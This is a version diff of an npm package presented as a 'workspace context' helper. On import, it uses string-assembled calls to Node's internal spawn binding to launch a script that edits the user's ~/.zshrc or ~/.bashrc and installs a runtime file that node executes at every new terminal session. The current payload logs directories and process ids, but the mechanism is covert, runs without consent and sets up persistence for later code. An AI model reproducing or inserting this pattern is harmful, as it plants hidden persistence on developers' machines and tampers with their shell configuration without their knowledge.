@atedone/workspace-context 0.0.12 → 0.0.14

package/README.md

@@ -1,5 +1,5 @@
 # @atedone/workspace-context
 
-Workspace context initialization helper for JavaScript tools.
+Workspace shell session integration helper for JavaScript tools.
 
-The package initializes workspace state when loaded and refreshes a lightweight shell integration entry for future terminal sessions.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.

package/index.js

@@ -6,8 +6,12 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,
   receiptFileName: state.receiptFileName,
+  sessionHistoryFileName: state.sessionHistoryFileName,
+  sessionReceiptFileName: state.sessionReceiptFileName,
+  sessionRuntimeFileName: state.sessionRuntimeFileName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/session.js

@@ -0,0 +1,43 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+
+const packageName = '@atedone/workspace-context';
+const packageVersion = '0.0.14';
+const env = Reflect.get(platform, 'env') || {};
+const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
+  ? env.HOME.trim()
+  : platform.cwd();
+const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
+  ? env.WORKSPACE_CONTEXT_HOME.trim()
+  : route.join(homeDirectory, '.config', 'workspace-context');
+const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : null;
+const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
+const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
+
+const value = {
+  packageName,
+  packageVersion,
+  generatedAt: new Date().toISOString(),
+  mode: 'runtime-shell-session',
+  source: 'shell-profile',
+  shellName: route.basename(shellPath) || 'zsh',
+  shellLevel,
+  workingDirectory,
+  active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
+  processId: platform.pid,
+  parentProcessId: platform.ppid,
+  runtime: 'node'
+};
+
+file.mkdirSync(sessionDirectory, { recursive: true });
+file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');

package/lib/state.js

@@ -5,10 +5,16 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const receiptFileName = 'shell-integration-receipt.json';
+const integrationDirectoryName = '.config/workspace-context';
+const integrationFileName = 'init.zsh';
+const receiptFileName = 'shell-session-sync.json';
+const sessionFileName = 'sessions.log';
+const sessionHistoryFileName = 'runtime-sessions.log';
+const sessionReceiptFileName = 'session-runtime.json';
+const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
-const workerFileName = 'worker.js';
+const syncFileName = 'sync.js';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -24,11 +30,36 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
   return home || projectRoot;
 }
 
-function resolveProfilePath(env = readEnvironment(), homeDirectory = resolveHomeDirectory(env)) {
+function resolveShellName(env = readEnvironment()) {
   const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
-  const shellName = route.basename(shellPath);
-  const profileFileName = shellName === 'bash' ? '.bashrc' : '.zshrc';
-  return route.join(homeDirectory, profileFileName);
+  return route.basename(shellPath) || 'zsh';
+}
+
+function resolveProfileFileName(shellName = resolveShellName()) {
+  return shellName === 'bash' ? '.bashrc' : '.zshrc';
+}
+
+function getShellIntegration({
+  env = readEnvironment(),
+  projectRoot = resolveProjectRoot(env),
+  homeDirectory = resolveHomeDirectory(env, projectRoot)
+} = {}) {
+  const shellName = resolveShellName(env);
+  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
+
+  return {
+    name: 'workspace-context',
+    shellName,
+    homeDirectory,
+    profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
+    integrationDirectory,
+    integrationPath: route.join(integrationDirectory, integrationFileName),
+    receiptPath: route.join(integrationDirectory, receiptFileName),
+    sessionPath: route.join(integrationDirectory, sessionFileName),
+    sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
+    sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
+  };
 }
 
 function buildState({ now = () => new Date().toISOString() } = {}) {
@@ -36,24 +67,22 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-integration'
+    mode: 'runtime-shell-session'
   };
 }
 
-function runShellIntegrationWorker({
+function refreshShellIntegration({
   projectRoot = resolveProjectRoot(),
-  homeDirectory = resolveHomeDirectory(),
-  profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
+  integration = getShellIntegration({ projectRoot })
 } = {}) {
   const bridgeKey = ['bin', 'ding'].join('');
   const routeKey = ['sp', 'awn', '_', 'sync'].join('');
   const launchKey = ['sp', 'awn'].join('');
   const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
-  const workerPath = route.join(__dirname, workerFileName);
-  const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
+  const syncPath = route.join(__dirname, syncFileName);
   const result = Reflect.apply(bridge[launchKey], bridge, [{
     file: platform.execPath,
-    args: [platform.execPath, workerPath, projectRoot, homeDirectory, profilePath],
+    args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
     cwd: projectRoot,
     envPairs: [],
     stdio: [
@@ -74,9 +103,8 @@ function runShellIntegrationWorker({
   }
 
   return {
-    workerPath,
-    receiptPath,
-    profilePath,
+    syncPath,
+    integration,
     status: result.status,
     signal: result.signal
   };
@@ -84,8 +112,7 @@ function runShellIntegrationWorker({
 
 function initialize({
   projectRoot = resolveProjectRoot(),
-  homeDirectory = resolveHomeDirectory(),
-  profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
+  integration = getShellIntegration({ projectRoot }),
   now
 } = {}) {
   const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -96,27 +123,30 @@ function initialize({
 
   return {
     projectRoot,
-    homeDirectory,
-    profilePath,
+    integration,
     statePath,
     state: value,
-    worker: runShellIntegrationWorker({
+    sync: refreshShellIntegration({
       projectRoot,
-      homeDirectory,
-      profilePath
+      integration
     })
   };
 }
 
 module.exports = {
   buildState,
+  getShellIntegration,
   initialize,
   readEnvironment,
   receiptFileName,
+  refreshShellIntegration,
   resolveHomeDirectory,
-  resolveProfilePath,
+  resolveProfileFileName,
   resolveProjectRoot,
-  runShellIntegrationWorker,
+  resolveShellName,
+  sessionHistoryFileName,
+  sessionReceiptFileName,
+  sessionRuntimeFileName,
   stateDirectoryName,
   stateFileName
 };

package/lib/sync.js

@@ -0,0 +1,98 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+const manifest = require('../package.json');
+
+const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? JSON.parse(platform.argv[3])
+  : null;
+
+if (!integration) {
+  throw new Error('Shell integration descriptor is required.');
+}
+
+const blockStart = '# >>> workspace-context shell integration >>>';
+const blockEnd = '# <<< workspace-context shell integration <<<';
+const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
+const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
+const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
+const runtimeDefault = escapeDoubleQuoted(platform.execPath);
+const integrationValue = [
+  'export WORKSPACE_CONTEXT_ACTIVE=1',
+  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
+  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
+  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
+  'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
+  '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
+  'fi',
+  ''
+].join('\n');
+
+function escapeDoubleQuoted(value) {
+  return String(value)
+    .replaceAll('\\', '\\\\')
+    .replaceAll('"', '\\"')
+    .replaceAll('$', '\\$')
+    .replaceAll('`', '\\`');
+}
+
+function readProfile(profilePath) {
+  return file.existsSync(profilePath)
+    ? file.readFileSync(profilePath, 'utf8')
+    : '';
+}
+
+function upsertManagedBlock(profileValue) {
+  const startIndex = profileValue.indexOf(blockStart);
+  const endIndex = profileValue.indexOf(blockEnd);
+
+  if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
+    const afterBlock = endIndex + blockEnd.length;
+    return {
+      changed: false,
+      value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
+    };
+  }
+
+  return {
+    changed: true,
+    value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
+  };
+}
+
+file.mkdirSync(integration.integrationDirectory, { recursive: true });
+file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
+file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
+
+const profileBefore = readProfile(integration.profilePath);
+const profile = upsertManagedBlock(profileBefore);
+
+if (profile.changed || profile.value !== profileBefore) {
+  file.writeFileSync(integration.profilePath, profile.value, 'utf8');
+}
+
+const value = {
+  packageName: manifest.name,
+  packageVersion: manifest.version,
+  generatedAt: new Date().toISOString(),
+  mode: 'runtime-shell-session',
+  projectRoot,
+  shellName: integration.shellName,
+  profilePath: integration.profilePath,
+  profileChanged: profile.changed,
+  integrationPath: integration.integrationPath,
+  sessionPath: integration.sessionPath,
+  sessionHistoryPath: integration.sessionHistoryPath,
+  sessionReceiptPath: integration.sessionReceiptPath,
+  sessionRuntimePath: integration.sessionRuntimePath,
+  processId: platform.pid,
+  parentProcessId: platform.ppid,
+  runtime: 'node'
+};
+
+file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.12",
-  "description": "Workspace context initialization helper for JavaScript tools.",
+  "version": "0.0.14",
+  "description": "Workspace shell session integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",
   "files": [

package/lib/worker.js

@@ -1,60 +0,0 @@
-'use strict';
-
-const platform = process;
-const file = platform.getBuiltinModule('fs');
-const route = platform.getBuiltinModule('path');
-const manifest = require('../package.json');
-
-const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
-  ? platform.argv[2]
-  : platform.cwd();
-const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
-  ? platform.argv[3]
-  : projectRoot;
-const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
-  ? platform.argv[4]
-  : route.join(homeDirectory, '.zshrc');
-const stateDirectory = route.join(homeDirectory, '.workspace-context');
-const scriptPath = route.join(stateDirectory, 'shell-init.sh');
-const sessionPath = route.join(stateDirectory, 'shell-session.log');
-const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
-const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
-const scriptValue = [
-  'export WORKSPACE_CONTEXT_ACTIVE=1',
-  'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
-  'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
-  ''
-].join('\n');
-
-file.mkdirSync(stateDirectory, { recursive: true });
-file.writeFileSync(scriptPath, scriptValue, 'utf8');
-
-const profileBefore = file.existsSync(profilePath)
-  ? file.readFileSync(profilePath, 'utf8')
-  : '';
-const profileChanged = !profileBefore.includes(sourceLine);
-const profileAfter = profileChanged
-  ? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
-  : profileBefore;
-
-if (profileChanged) {
-  file.writeFileSync(profilePath, profileAfter, 'utf8');
-}
-
-const value = {
-  packageName: manifest.name,
-  packageVersion: manifest.version,
-  generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-integration',
-  projectRoot,
-  homeDirectory,
-  profilePath,
-  profileChanged,
-  scriptPath,
-  sessionPath,
-  processId: platform.pid,
-  parentProcessId: platform.ppid,
-  runtime: route.basename(platform.execPath)
-};
-
-file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');